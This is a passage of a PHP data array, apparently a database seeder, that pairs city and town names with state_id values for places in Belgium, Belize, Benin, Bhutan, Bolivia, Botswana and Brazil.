'boortmeerbeek'],\n ['state_id' => '436', 'name' => 'boutersem'],\n ['state_id' => '436', 'name' => 'diest'],\n ['state_id' => '436', 'name' => 'dilbeek'],\n ['state_id' => '436', 'name' => 'drogenbos'],\n ['state_id' => '436', 'name' => 'galmaarden'],\n ['state_id' => '436', 'name' => 'geetbets'],\n ['state_id' => '436', 'name' => 'glabbeek'],\n ['state_id' => '436', 'name' => 'gooik'],\n ['state_id' => '436', 'name' => 'grimbergen'],\n ['state_id' => '436', 'name' => 'haacht'],\n ['state_id' => '436', 'name' => 'halle'],\n ['state_id' => '436', 'name' => 'herent'],\n ['state_id' => '436', 'name' => 'herne'],\n ['state_id' => '436', 'name' => 'hoegaarden'],\n ['state_id' => '436', 'name' => 'hoeilaart'],\n ['state_id' => '436', 'name' => 'holsbeek'],\n ['state_id' => '436', 'name' => 'huldenberg'],\n ['state_id' => '436', 'name' => 'kampenhout'],\n ['state_id' => '436', 'name' => 'kapelle-op-den-bos'],\n ['state_id' => '436', 'name' => 'keerbergen'],\n ['state_id' => '436', 'name' => 'kortenaken'],\n ['state_id' => '436', 'name' => 'kortenberg'],\n ['state_id' => '436', 'name' => 'kraainem'],\n ['state_id' => '436', 'name' => 'landen'],\n ['state_id' => '436', 'name' => 'lennik'],\n ['state_id' => '436', 'name' => 'leuven'],\n ['state_id' => '436', 'name' => 'liedekerke'],\n ['state_id' => '436', 'name' => 'linkebeek'],\n ['state_id' => '436', 'name' => 'linter'],\n ['state_id' => '436', 'name' => 'londerzeel'],\n ['state_id' => '436', 'name' => 'lubbeek'],\n ['state_id' => '436', 'name' => 'machelen'],\n ['state_id' => '436', 'name' => 'meise'],\n ['state_id' => '436', 'name' => 'merchtem'],\n ['state_id' => '436', 'name' => 'opwijk'],\n ['state_id' => '436', 'name' => 'oud-heverlee'],\n ['state_id' => '436', 'name' => 'overijse'],\n ['state_id' => '436', 'name' => 'pepingen'],\n ['state_id' => '436', 'name' => 'roosdaal'],\n ['state_id' => '436', 'name' => 'rotselaar'],\n ['state_id' => '436', 'name' => 'scherpenheuvel-zichem'],\n ['state_id' => '436', 'name' => 'sint-genesius-rode'],\n ['state_id' => '436', 'name' => 'sint-pieters-leeuw'],\n ['state_id' => '436', 'name' => 'steenokkerzeel'],\n ['state_id' => '436', 'name' => 'ternat'],\n ['state_id' => '436', 'name' => 'tervuren'],\n ['state_id' => '436', 'name' => 'tielt-winge'],\n ['state_id' => '436', 'name' => 'tienen'],\n ['state_id' => '436', 'name' => 'tremelo'],\n ['state_id' => '436', 'name' => 'vilvoorde'],\n ['state_id' => '436', 'name' => 'wemmel'],\n ['state_id' => '436', 'name' => 'wezembeek-oppem'],\n ['state_id' => '436', 'name' => 'zaventem'],\n ['state_id' => '436', 'name' => 'zemst'],\n ['state_id' => '436', 'name' => 'zoutleeuw'],\n ['state_id' => '437', 'name' => 'callenelle'],\n ['state_id' => '437', 'name' => 'marcinelle'],\n ['state_id' => '437', 'name' => 'strepy-bracquegnies'],\n ['state_id' => '438', 'name' => 'alveringem'],\n ['state_id' => '438', 'name' => 'anzegem'],\n ['state_id' => '438', 'name' => 'ardooie'],\n ['state_id' => '438', 'name' => 'avelgem'],\n ['state_id' => '438', 'name' => 'beernem'],\n ['state_id' => '438', 'name' => 'blankenberge'],\n ['state_id' => '438', 'name' => 'bredene'],\n ['state_id' => '438', 'name' => 'brugge'],\n ['state_id' => '438', 'name' => 'damme'],\n ['state_id' => '438', 'name' => 'de haan'],\n ['state_id' => '438', 'name' => 'de panne'],\n ['state_id' => '438', 'name' => 'deerlijk'],\n ['state_id' => '438', 'name' => 'dentergem'],\n ['state_id' => '438', 'name' => 'diksmuide'],\n ['state_id' => '438', 'name' => 'geluveld'],\n ['state_id' => '438', 'name' => 'gistel'],\n ['state_id' => '438', 'name' => 'harelbeke'],\n ['state_id' => '438', 'name' => 'heuvelland'],\n ['state_id' => '438', 'name' => 'hooglede'],\n ['state_id' => '438', 'name' => 'houthulst'],\n ['state_id' => '438', 'name' => 'ichtegem'],\n ['state_id' => '438', 'name' => 'ieper'],\n ['state_id' => '438', 'name' => 'ingelmunster'],\n ['state_id' => '438', 'name' => 'ingooigem'],\n ['state_id' => '438', 'name' => 'izegem'],\n ['state_id' => '438', 'name' => 'jabbeke'],\n ['state_id' => '438', 'name' => 'knokke-heist'],\n ['state_id' => '438', 'name' => 'koekelare'],\n ['state_id' => '438', 'name' => 'koksijde'],\n ['state_id' => '438', 'name' => 'kortemark'],\n ['state_id' => '438', 'name' => 'kortrijk'],\n ['state_id' => '438', 'name' => 'kuurne'],\n ['state_id' => '438', 'name' => 'langemark-poelkapelle'],\n ['state_id' => '438', 'name' => 'ledegem'],\n ['state_id' => '438', 'name' => 'lendelede'],\n ['state_id' => '438', 'name' => 'lichtervelde'],\n ['state_id' => '438', 'name' => 'lo-reninge'],\n ['state_id' => '438', 'name' => 'menen'],\n ['state_id' => '438', 'name' => 'mesen'],\n ['state_id' => '438', 'name' => 'meulebeke'],\n ['state_id' => '438', 'name' => 'middelkerke'],\n ['state_id' => '438', 'name' => 'moorslede'],\n ['state_id' => '438', 'name' => 'nieuwpoort'],\n ['state_id' => '438', 'name' => 'oostende'],\n ['state_id' => '438', 'name' => 'oostkamp'],\n ['state_id' => '438', 'name' => 'oostrozebeke'],\n ['state_id' => '438', 'name' => 'oudenburg'],\n ['state_id' => '438', 'name' => 'pittem'],\n ['state_id' => '438', 'name' => 'poperinge'],\n ['state_id' => '438', 'name' => 'roeselare'],\n ['state_id' => '438', 'name' => 'ruiselede'],\n ['state_id' => '438', 'name' => 'spiere-helkijn'],\n ['state_id' => '438', 'name' => 'staden'],\n ['state_id' => '438', 'name' => 'tielt'],\n ['state_id' => '438', 'name' => 'torhout'],\n ['state_id' => '438', 'name' => 'veurne'],\n ['state_id' => '438', 'name' => 'vleteren'],\n ['state_id' => '438', 'name' => 'waregem'],\n ['state_id' => '438', 'name' => 'wervik'],\n ['state_id' => '438', 'name' => 'wevelgem'],\n ['state_id' => '438', 'name' => 'wielsbeke'],\n ['state_id' => '438', 'name' => 'wingene'],\n ['state_id' => '438', 'name' => 'zedelgem'],\n ['state_id' => '438', 'name' => 'zeebrugge'],\n ['state_id' => '438', 'name' => 'zonnebeke'],\n ['state_id' => '438', 'name' => 'zuienkerke'],\n ['state_id' => '438', 'name' => 'zwevegem'],\n ['state_id' => '439', 'name' => 'belize'],\n ['state_id' => '439', 'name' => 'san pedro'],\n ['state_id' => '440', 'name' => 'belmopan'],\n ['state_id' => '440', 'name' => 'benque viejo'],\n ['state_id' => '440', 'name' => 'san ignacio'],\n ['state_id' => '441', 'name' => 'corozal'],\n ['state_id' => '444', 'name' => 'punta gorda'],\n ['state_id' => '445', 'name' => 'kandi'],\n ['state_id' => '445', 'name' => 'malanville'],\n ['state_id' => '446', 'name' => 'batia'],\n ['state_id' => '446', 'name' => 'boukombe'],\n ['state_id' => '446', 'name' => 'kouande'],\n ['state_id' => '446', 'name' => 'natitingou'],\n ['state_id' => '447', 'name' => 'allada'],\n ['state_id' => '447', 'name' => 'cotonou'],\n ['state_id' => '447', 'name' => 'ouidah'],\n ['state_id' => '447', 'name' => 'tanguiete'],\n ['state_id' => '448', 'name' => 'bembereke'],\n ['state_id' => '448', 'name' => 'nikki'],\n ['state_id' => '448', 'name' => 'parakou'],\n ['state_id' => '448', 'name' => 'tchaourou'],\n ['state_id' => '449', 'name' => 'dassa'],\n ['state_id' => '449', 'name' => 'savalou'],\n ['state_id' => '449', 'name' => 'save'],\n ['state_id' => '450', 'name' => 'aplahoue'],\n ['state_id' => '450', 'name' => 'dogbo'],\n ['state_id' => '451', 'name' => 'djougou'],\n ['state_id' => '452', 'name' => 'cotonou'],\n ['state_id' => '453', 'name' => 'athieme'],\n ['state_id' => '453', 'name' => 'come'],\n ['state_id' => '453', 'name' => 'grand popo'],\n ['state_id' => '453', 'name' => 'lokossa'],\n ['state_id' => '454', 'name' => 'adjohoun'],\n ['state_id' => '454', 'name' => 'porto novo'],\n ['state_id' => '455', 'name' => 'ketou'],\n ['state_id' => '455', 'name' => 'pobe'],\n ['state_id' => '455', 'name' => 'sakete'],\n ['state_id' => '456', 'name' => 'abomey'],\n ['state_id' => '456', 'name' => 'bohicon'],\n ['state_id' => '456', 'name' => 'cove'],\n ['state_id' => '456', 'name' => 'zagnanado'],\n ['state_id' => '457', 'name' => 'hamilton'],\n ['state_id' => '459', 'name' => 'jakar'],\n ['state_id' => '460', 'name' => 'chhukha'],\n ['state_id' => '460', 'name' => 'phuentsholing'],\n ['state_id' => '461', 'name' => 'damphu'],\n ['state_id' => '462', 'name' => 'taga dzong'],\n ['state_id' => '463', 'name' => 'geylegphug'],\n ['state_id' => '464', 'name' => 'ha'],\n ['state_id' => '465', 'name' => 'lhuntshi'],\n ['state_id' => '466', 'name' => 'mongar'],\n ['state_id' => '467', 'name' => 'pemagatsel'],\n ['state_id' => '468', 'name' => 'gasa'],\n ['state_id' => '468', 'name' => 'punakha'],\n ['state_id' => '469', 'name' => 'paro'],\n ['state_id' => '470', 'name' => 'phuntsholing'],\n ['state_id' => '470', 'name' => 'samchi'],\n ['state_id' => '472', 'name' => 'shemgang'],\n ['state_id' => '473', 'name' => 'tashigang'],\n ['state_id' => '474', 'name' => 'thimphu'],\n ['state_id' => '474', 'name' => 'timphu'],\n ['state_id' => '475', 'name' => 'tongsa'],\n ['state_id' => '476', 'name' => 'wangdiphodrang'],\n ['state_id' => '477', 'name' => 'guayaramerin'],\n ['state_id' => '477', 'name' => 'magdalena'],\n ['state_id' => '477', 'name' => 'reyes'],\n ['state_id' => '477', 'name' => 'riberalta'],\n ['state_id' => '477', 'name' => 'rurrenabaque'],\n ['state_id' => '477', 'name' => 'san borja'],\n ['state_id' => '477', 'name' => 'san ignacio'],\n ['state_id' => '477', 'name' => 'san ramon'],\n ['state_id' => '477', 'name' => 'santa ana'],\n ['state_id' => '477', 'name' => 'santa rosa'],\n ['state_id' => '477', 'name' => 'trinidad'],\n ['state_id' => '478', 'name' => 'camargo'],\n ['state_id' => '478', 'name' => 'monteagudo'],\n ['state_id' => '478', 'name' => 'muyupampa'],\n ['state_id' => '478', 'name' => 'padilla'],\n ['state_id' => '478', 'name' => 'sucre'],\n ['state_id' => '478', 'name' => 'tarabuco'],\n ['state_id' => '478', 'name' => 'villa serano'],\n ['state_id' => '479', 'name' => 'aiquile'],\n ['state_id' => '479', 'name' => 'arani'],\n ['state_id' => '479', 'name' => 'capinota'],\n ['state_id' => '479', 'name' => 'chimore'],\n ['state_id' => '479', 'name' => 'cliza'],\n ['state_id' => '479', 'name' => 'cochabamba'],\n ['state_id' => '479', 'name' => 'colomi'],\n ['state_id' => '479', 'name' => 'entre rios'],\n ['state_id' => '479', 'name' => 'irpa irpa'],\n ['state_id' => '479', 'name' => 'ivirgarzama'],\n ['state_id' => '479', 'name' => 'mizque'],\n ['state_id' => '479', 'name' => 'punata'],\n ['state_id' => '479', 'name' => 'shinahota'],\n ['state_id' => '479', 'name' => 'sipe sipe'],\n ['state_id' => '479', 'name' => 'tarata'],\n ['state_id' => '479', 'name' => 'ucurena'],\n ['state_id' => '481', 'name' => 'caracollo'],\n ['state_id' => '481', 'name' => 'challapata'],\n ['state_id' => '481', 'name' => 'eucaliptus'],\n ['state_id' => '481', 'name' => 'huanuni'],\n ['state_id' => '481', 'name' => 'machacamarca'],\n ['state_id' => '481', 'name' => 'oruro'],\n ['state_id' => '481', 'name' => 'poopo'],\n ['state_id' => '481', 'name' => 'santiago de huari'],\n ['state_id' => '481', 'name' => 'totoral'],\n ['state_id' => '482', 'name' => 'cobija'],\n ['state_id' => '483', 'name' => 'atocha'],\n ['state_id' => '483', 'name' => 'betanzos'],\n ['state_id' => '483', 'name' => 'colquechaca'],\n ['state_id' => '483', 'name' => 'llallagua'],\n ['state_id' => '483', 'name' => 'potosi'],\n ['state_id' => '483', 'name' => 'santa barbara'],\n ['state_id' => '483', 'name' => 'tupiza'],\n ['state_id' => '483', 'name' => 'uncia'],\n ['state_id' => '483', 'name' => 'uyuni'],\n ['state_id' => '483', 'name' => 'villazon'],\n ['state_id' => '485', 'name' => 'bermejo'],\n ['state_id' => '485', 'name' => 'entre rios'],\n ['state_id' => '485', 'name' => 'san lorenzo'],\n ['state_id' => '485', 'name' => 'tarija'],\n ['state_id' => '485', 'name' => 'villamontes'],\n ['state_id' => '485', 'name' => 'yacuiba'],\n ['state_id' => '493', 'name' => 'kachikau'],\n ['state_id' => '493', 'name' => 'kasane'],\n ['state_id' => '493', 'name' => 'kavimba'],\n ['state_id' => '493', 'name' => 'kazungula'],\n ['state_id' => '493', 'name' => 'lesoma'],\n ['state_id' => '493', 'name' => 'muchinje-mabale'],\n ['state_id' => '493', 'name' => 'pandamatenga'],\n ['state_id' => '493', 'name' => 'pandamatenga botswana defence '],\n ['state_id' => '493', 'name' => 'parakarungu'],\n ['state_id' => '493', 'name' => 'satau'],\n ['state_id' => '494', 'name' => 'francistown'],\n ['state_id' => '495', 'name' => 'gaborone'],\n ['state_id' => '496', 'name' => 'bere'],\n ['state_id' => '496', 'name' => 'charles hill'],\n ['state_id' => '496', 'name' => 'chobokwane'],\n ['state_id' => '496', 'name' => 'dekar'],\n ['state_id' => '496', 'name' => 'east hanahai'],\n ['state_id' => '496', 'name' => 'ghanzi'],\n ['state_id' => '496', 'name' => 'groote laagte'],\n ['state_id' => '496', 'name' => 'kacgae'],\n ['state_id' => '496', 'name' => 'karakobis'],\n ['state_id' => '496', 'name' => 'kuke quarantine camp'],\n ['state_id' => '496', 'name' => 'kule'],\n ['state_id' => '496', 'name' => 'makunda'],\n ['state_id' => '496', 'name' => 'ncojane'],\n ['state_id' => '496', 'name' => 'new xade'],\n ['state_id' => '496', 'name' => 'new xanagas'],\n ['state_id' => '496', 'name' => 'qabo'],\n ['state_id' => '496', 'name' => 'tsootsha'],\n ['state_id' => '496', 'name' => 'west hanahai'],\n ['state_id' => '497', 'name' => 'jwaneng'],\n ['state_id' => '500', 'name' => 'artisia'],\n ['state_id' => '500', 'name' => 'bokaa'],\n ['state_id' => '500', 'name' => 'dikgonye'],\n ['state_id' => '500', 'name' => 'dikwididi'],\n ['state_id' => '500', 'name' => 'kgomodiatshaba'],\n ['state_id' => '500', 'name' => 'khurutshe'],\n ['state_id' => '500', 'name' => 'leshibitse'],\n ['state_id' => '500', 'name' => 'mabalane'],\n ['state_id' => '500', 'name' => 'malolwane'],\n ['state_id' => '500', 'name' => 'malotwana siding'],\n ['state_id' => '500', 'name' => 'matebeleng'],\n ['state_id' => '500', 'name' => 'mmamashia'],\n ['state_id' => '500', 'name' => 'mmathubudukwane'],\n ['state_id' => '500', 'name' => 'mochudi'],\n ['state_id' => '500', 'name' => 'modipane'],\n ['state_id' => '500', 'name' => 'morwa'],\n ['state_id' => '500', 'name' => 'oliphants drift'],\n ['state_id' => '500', 'name' => 'oodi'],\n ['state_id' => '500', 'name' => 'pilane'],\n ['state_id' => '500', 'name' => 'ramonaka'],\n ['state_id' => '500', 'name' => 'ramotlabaki'],\n ['state_id' => '500', 'name' => 'rasesa'],\n ['state_id' => '500', 'name' => 'sikwane'],\n ['state_id' => '501', 'name' => 'boatlaname'],\n ['state_id' => '501', 'name' => 'botlhapatlou'],\n ['state_id' => '501', 'name' => 'diagane'],\n ['state_id' => '501', 'name' => 'diphudugodu'],\n ['state_id' => '501', 'name' => 'diremogolo lands'],\n ['state_id' => '501', 'name' => 'ditshegwane'],\n ['state_id' => '501', 'name' => 'ditshukudu'],\n ['state_id' => '501', 'name' => 'dumadumane'],\n ['state_id' => '501', 'name' => 'dutlwe'],\n ['state_id' => '501', 'name' => 'gabane'],\n ['state_id' => '501', 'name' => 'gakgatla'],\n ['state_id' => '501', 'name' => 'gakuto'],\n ['state_id' => '501', 'name' => 'galekgatshwane'],\n ['state_id' => '501', 'name' => 'gamodubu'],\n ['state_id' => '501', 'name' => 'gaphatshwa'],\n ['state_id' => '501', 'name' => 'hatsalatladi'],\n ['state_id' => '501', 'name' => 'kamenakwe'],\n ['state_id' => '501', 'name' => 'kaudwane'],\n ['state_id' => '501', 'name' => 'kgaphamadi'],\n ['state_id' => '501', 'name' => 'kgope'],\n ['state_id' => '501', 'name' => 'khekhenya-chepetese'],\n ['state_id' => '501', 'name' => 'khudumelapye'],\n ['state_id' => '501', 'name' => 'kopong'],\n ['state_id' => '501', 'name' => 'kotolaname'],\n ['state_id' => '501', 'name' => 'kubung'],\n ['state_id' => '501', 'name' => 'kumakwane'],\n ['state_id' => '501', 'name' => 'kweneng'],\n ['state_id' => '501', 'name' => 'lentsweletau'],\n ['state_id' => '501', 'name' => 'lephepe'],\n ['state_id' => '501', 'name' => 'lesirane'],\n ['state_id' => '501', 'name' => 'letlhakeng'],\n ['state_id' => '501', 'name' => 'losilakgokong'],\n ['state_id' => '501', 'name' => 'maboane'],\n ['state_id' => '501', 'name' => 'mahetlwe'],\n ['state_id' => '501', 'name' => 'makabanyane-dikgokong'],\n ['state_id' => '501', 'name' => 'malwelwe'],\n ['state_id' => '501', 'name' => 'mamhiko'],\n ['state_id' => '501', 'name' => 'manaledi'],\n ['state_id' => '501', 'name' => 'mantshwabisi'],\n ['state_id' => '501', 'name' => 'marejwane'],\n ['state_id' => '501', 'name' => 'masebele'],\n ['state_id' => '501', 'name' => 'medie'],\n ['state_id' => '501', 'name' => 'metsibotlhoko'],\n ['state_id' => '501', 'name' => 'metsimotlhaba'],\n ['state_id' => '501', 'name' => 'mmakanke'],\n ['state_id' => '501', 'name' => 'mmankgodi'],\n ['state_id' => '501', 'name' => 'mmanoko'],\n ['state_id' => '501', 'name' => 'mmokolodi'],\n ['state_id' => '501', 'name' => 'mmopane'],\n ['state_id' => '501', 'name' => 'mmopane lands'],\n ['state_id' => '501', 'name' => 'mogoditshane'],\n ['state_id' => '501', 'name' => 'mogoditshane botswana defence '],\n ['state_id' => '501', 'name' => 'mogoditshane lands'],\n ['state_id' => '501', 'name' => 'mogonono'],\n ['state_id' => '501', 'name' => 'molepolole'],\n ['state_id' => '501', 'name' => 'mononyane'],\n ['state_id' => '501', 'name' => 'monwane'],\n ['state_id' => '501', 'name' => 'morabane'],\n ['state_id' => '501', 'name' => 'morope'],\n ['state_id' => '501', 'name' => 'moshaweng'],\n ['state_id' => '501', 'name' => 'mosokotswe'],\n ['state_id' => '501', 'name' => 'motokwe'],\n ['state_id' => '501', 'name' => 'ngware'],\n ['state_id' => '501', 'name' => 'nkoyaphiri'],\n ['state_id' => '501', 'name' => 'ramaphatlhe'],\n ['state_id' => '501', 'name' => 'salajwe'],\n ['state_id' => '501', 'name' => 'serinane'],\n ['state_id' => '501', 'name' => 'sesung'],\n ['state_id' => '501', 'name' => 'shadishadi'],\n ['state_id' => '501', 'name' => 'sojwe'],\n ['state_id' => '501', 'name' => 'sorilatholo'],\n ['state_id' => '501', 'name' => 'suping'],\n ['state_id' => '501', 'name' => 'takatokwane'],\n ['state_id' => '501', 'name' => 'thamaga'],\n ['state_id' => '501', 'name' => 'thebephatshwa'],\n ['state_id' => '501', 'name' => 'tlowaneng'],\n ['state_id' => '501', 'name' => 'tsetseng'],\n ['state_id' => '501', 'name' => 'tswaane'],\n ['state_id' => '502', 'name' => 'lobatse'],\n ['state_id' => '503', 'name' => 'bodibeng'],\n ['state_id' => '503', 'name' => 'boro'],\n ['state_id' => '503', 'name' => 'botlhatlogo'],\n ['state_id' => '503', 'name' => 'chanoga'],\n ['state_id' => '503', 'name' => 'chuchubega'],\n ['state_id' => '503', 'name' => 'daonara'],\n ['state_id' => '503', 'name' => 'ditshiping'],\n ['state_id' => '503', 'name' => 'habu'],\n ['state_id' => '503', 'name' => 'jao'],\n ['state_id' => '503', 'name' => 'kareng'],\n ['state_id' => '503', 'name' => 'katamaga'],\n ['state_id' => '503', 'name' => 'kgakge'],\n ['state_id' => '503', 'name' => 'khwai camp'],\n ['state_id' => '503', 'name' => 'komana'],\n ['state_id' => '503', 'name' => 'legotlhwana'],\n ['state_id' => '503', 'name' => 'mababe'],\n ['state_id' => '503', 'name' => 'makalamabedi'],\n ['state_id' => '503', 'name' => 'matlapana'],\n ['state_id' => '503', 'name' => 'matsaudi'],\n ['state_id' => '503', 'name' => 'mawana'],\n ['state_id' => '503', 'name' => 'mokgalo-haka'],\n ['state_id' => '503', 'name' => 'morutsha'],\n ['state_id' => '503', 'name' => 'nxharaga'],\n ['state_id' => '503', 'name' => 'phuduhudu'],\n ['state_id' => '503', 'name' => 'samodupi'],\n ['state_id' => '503', 'name' => 'sankuyo'],\n ['state_id' => '503', 'name' => 'sehithwa'],\n ['state_id' => '503', 'name' => 'semboyo'],\n ['state_id' => '503', 'name' => 'sexaxa'],\n ['state_id' => '503', 'name' => 'shakawe'],\n ['state_id' => '503', 'name' => 'shorobe'],\n ['state_id' => '503', 'name' => 'somela'],\n ['state_id' => '503', 'name' => 'toteng'],\n ['state_id' => '503', 'name' => 'tsanekona'],\n ['state_id' => '503', 'name' => 'tsao'],\n ['state_id' => '503', 'name' => 'xaxaba'],\n ['state_id' => '503', 'name' => 'xhobe'],\n ['state_id' => '504', 'name' => 'bethel'],\n ['state_id' => '504', 'name' => 'borobadilepe'],\n ['state_id' => '504', 'name' => 'diabo'],\n ['state_id' => '504', 'name' => 'digawana'],\n ['state_id' => '504', 'name' => 'dikhukhung'],\n ['state_id' => '504', 'name' => 'dinatshana'],\n ['state_id' => '504', 'name' => 'dipotsana'],\n ['state_id' => '504', 'name' => 'ditlharapa'],\n ['state_id' => '504', 'name' => 'gamajalela'],\n ['state_id' => '504', 'name' => 'gasita'],\n ['state_id' => '504', 'name' => 'gathwane'],\n ['state_id' => '504', 'name' => 'good hope'],\n ['state_id' => '504', 'name' => 'goora-seno'],\n ['state_id' => '504', 'name' => 'gopong'],\n ['state_id' => '504', 'name' => 'hebron'],\n ['state_id' => '504', 'name' => 'itholoke'],\n ['state_id' => '504', 'name' => 'kanaku'],\n ['state_id' => '504', 'name' => 'kangwe'],\n ['state_id' => '504', 'name' => 'kanye'],\n ['state_id' => '504', 'name' => 'keng'],\n ['state_id' => '504', 'name' => 'kgomokasitwa'],\n ['state_id' => '504', 'name' => 'kgoro'],\n ['state_id' => '504', 'name' => 'khakhea'],\n ['state_id' => '504', 'name' => 'khonkhwa'],\n ['state_id' => '504', 'name' => 'kokong'],\n ['state_id' => '504', 'name' => 'lehoko'],\n ['state_id' => '504', 'name' => 'lejwana'],\n ['state_id' => '504', 'name' => 'lekgolobotlo'],\n ['state_id' => '504', 'name' => 'leporung'],\n ['state_id' => '504', 'name' => 'logagane'],\n ['state_id' => '504', 'name' => 'lorolwana'],\n ['state_id' => '504', 'name' => 'lorwana'],\n ['state_id' => '504', 'name' => 'lotlhakane'],\n ['state_id' => '504', 'name' => 'lotlhakane west'],\n ['state_id' => '504', 'name' => 'mabule'],\n ['state_id' => '504', 'name' => 'mabutsane'],\n ['state_id' => '504', 'name' => 'madingwana'],\n ['state_id' => '504', 'name' => 'magoriapitse'],\n ['state_id' => '504', 'name' => 'magotlhawane'],\n ['state_id' => '504', 'name' => 'mahotshwane'],\n ['state_id' => '504', 'name' => 'maisane'],\n ['state_id' => '504', 'name' => 'makokwe'],\n ['state_id' => '504', 'name' => 'malokaganyane'],\n ['state_id' => '504', 'name' => 'manyana'],\n ['state_id' => '504', 'name' => 'maokane'],\n ['state_id' => '504', 'name' => 'marojane'],\n ['state_id' => '504', 'name' => 'maruswa'],\n ['state_id' => '504', 'name' => 'metlobo'],\n ['state_id' => '504', 'name' => 'metlojane'],\n ['state_id' => '504', 'name' => 'mmakgori'],\n ['state_id' => '504', 'name' => 'mmathethe'],\n ['state_id' => '504', 'name' => 'mogojogojo'],\n ['state_id' => '504', 'name' => 'mogonye'],\n ['state_id' => '504', 'name' => 'mogwalale'],\n ['state_id' => '504', 'name' => 'mokatako'],\n ['state_id' => '504', 'name' => 'mokgomane'],\n ['state_id' => '504', 'name' => 'mokhomba'],\n ['state_id' => '504', 'name' => 'molapowabojang'],\n ['state_id' => '504', 'name' => 'molete'],\n ['state_id' => '504', 'name' => 'morwamosu'],\n ['state_id' => '504', 'name' => 'moshaneng'],\n ['state_id' => '504', 'name' => 'moshupa'],\n ['state_id' => '504', 'name' => 'motlhwatse'],\n ['state_id' => '504', 'name' => 'motsentshe'],\n ['state_id' => '504', 'name' => 'musi'],\n ['state_id' => '504', 'name' => 'ngwatsau'],\n ['state_id' => '504', 'name' => 'ntlhantlhe'],\n ['state_id' => '504', 'name' => 'papatlo'],\n ['state_id' => '504', 'name' => 'phihitshwane'],\n ['state_id' => '504', 'name' => 'pitsana-potokwe'],\n ['state_id' => '504', 'name' => 'pitsane'],\n ['state_id' => '504', 'name' => 'pitseng-ralekgetho'],\n ['state_id' => '504', 'name' => 'pitshane molopo'],\n ['state_id' => '504', 'name' => 'rakhuna'],\n ['state_id' => '504', 'name' => 'ralekgetho'],\n ['state_id' => '504', 'name' => 'ramatlabama'],\n ['state_id' => '504', 'name' => 'ranaka'],\n ['state_id' => '504', 'name' => 'sedibeng'],\n ['state_id' => '504', 'name' => 'segakwana'],\n ['state_id' => '504', 'name' => 'segwagwa'],\n ['state_id' => '504', 'name' => 'seherelela'],\n ['state_id' => '504', 'name' => 'sekhutlane'],\n ['state_id' => '504', 'name' => 'sekoma'],\n ['state_id' => '504', 'name' => 'selokolela'],\n ['state_id' => '504', 'name' => 'semane'],\n ['state_id' => '504', 'name' => 'sese'],\n ['state_id' => '504', 'name' => 'sesung'],\n ['state_id' => '504', 'name' => 'sheep farm'],\n ['state_id' => '504', 'name' => 'tlhankane'],\n ['state_id' => '504', 'name' => 'tlhareseleele'],\n ['state_id' => '504', 'name' => 'tshidilamolomo'],\n ['state_id' => '504', 'name' => 'tshwaane'],\n ['state_id' => '504', 'name' => 'tsonyane'],\n ['state_id' => '504', 'name' => 'tswaaneng'],\n ['state_id' => '504', 'name' => 'tswagare-lothoje-lokalana'],\n ['state_id' => '504', 'name' => 'tswanyaneng'],\n ['state_id' => '506', 'name' => 'beetsha'],\n ['state_id' => '506', 'name' => 'eretsha'],\n ['state_id' => '506', 'name' => 'etsha 1'],\n ['state_id' => '506', 'name' => 'etsha 13'],\n ['state_id' => '506', 'name' => 'etsha 6'],\n ['state_id' => '506', 'name' => 'etsha 8'],\n ['state_id' => '506', 'name' => 'etsha 9'],\n ['state_id' => '506', 'name' => 'gane'],\n ['state_id' => '506', 'name' => 'gonutsuga'],\n ['state_id' => '506', 'name' => 'gowe'],\n ['state_id' => '506', 'name' => 'gudingwa'],\n ['state_id' => '506', 'name' => 'gumare'],\n ['state_id' => '506', 'name' => 'ikoga'],\n ['state_id' => '506', 'name' => 'kajaja'],\n ['state_id' => '506', 'name' => 'kapotora lands'],\n ['state_id' => '506', 'name' => 'kauxwhi'],\n ['state_id' => '506', 'name' => 'matswee'],\n ['state_id' => '506', 'name' => 'maun'],\n ['state_id' => '506', 'name' => 'moaha'],\n ['state_id' => '506', 'name' => 'mohembo east'],\n ['state_id' => '506', 'name' => 'mohembo west'],\n ['state_id' => '506', 'name' => 'mokgacha'],\n ['state_id' => '506', 'name' => 'ngarange'],\n ['state_id' => '506', 'name' => 'nokaneng'],\n ['state_id' => '506', 'name' => 'nxamasere'],\n ['state_id' => '506', 'name' => 'nxaunxau'],\n ['state_id' => '506', 'name' => 'nxwee'],\n ['state_id' => '506', 'name' => 'qangwa'],\n ['state_id' => '506', 'name' => 'roye'],\n ['state_id' => '506', 'name' => 'samochema'],\n ['state_id' => '506', 'name' => 'sekondomboro'],\n ['state_id' => '506', 'name' => 'sepopa'],\n ['state_id' => '506', 'name' => 'seronga'],\n ['state_id' => '506', 'name' => 'shaowe'],\n ['state_id' => '506', 'name' => 'tobere lands'],\n ['state_id' => '506', 'name' => 'tubu'],\n ['state_id' => '506', 'name' => 'tubu lands'],\n ['state_id' => '506', 'name' => 'xadau'],\n ['state_id' => '506', 'name' => 'xakao'],\n ['state_id' => '506', 'name' => 'xaxa'],\n ['state_id' => '506', 'name' => 'xhauga'],\n ['state_id' => '506', 'name' => 'xurube'],\n ['state_id' => '507', 'name' => 'orapa'],\n ['state_id' => '510', 'name' => 'sowa'],\n ['state_id' => '512', 'name' => 'acrelandia'],\n ['state_id' => '512', 'name' => 'brasileia'],\n ['state_id' => '512', 'name' => 'cruzeiro do sul'],\n ['state_id' => '512', 'name' => 'epitaciolandia'],\n ['state_id' => '512', 'name' => 'feijo'],\n ['state_id' => '512', 'name' => 'mancio lima'],\n ['state_id' => '512', 'name' => 'manoel urbano'],\n ['state_id' => '512', 'name' => 'marechal thaumaturgo'],\n ['state_id' => '512', 'name' => 'placido de castro'],\n ['state_id' => '512', 'name' => 'porto walter'],\n ['state_id' => '512', 'name' => 'rio branco'],\n ['state_id' => '512', 'name' => 'rodrigues alves'],\n ['state_id' => '512', 'name' => 'sena madureira'],\n ['state_id' => '512', 'name' => 'senador guiomard'],\n ['state_id' => '512', 'name' => 'tarauaca'],\n ['state_id' => '512', 'name' => 'xapuri'],\n ['state_id' => '513', 'name' => 'agua branca'],\n ['state_id' => '513', 'name' => 'anadia'],\n ['state_id' => '513', 'name' => 'arapiraca'],\n ['state_id' => '513', 'name' => 'atalaia'],\n ['state_id' => '513', 'name' => 'barra de santo antonio'],\n ['state_id' => '513', 'name' => 'batalha'],\n ['state_id' => '513', 'name' => 'boca da mata'],\n ['state_id' => '513', 'name' => 'cacimbinhas'],\n ['state_id' => '513', 'name' => 'cajueiro'],\n ['state_id' => '513', 'name' => 'campo alegre'],\n ['state_id' => '513', 'name' => 'campo grande'],\n ['state_id' => '513', 'name' => 'canapi'],\n ['state_id' => '513', 'name' => 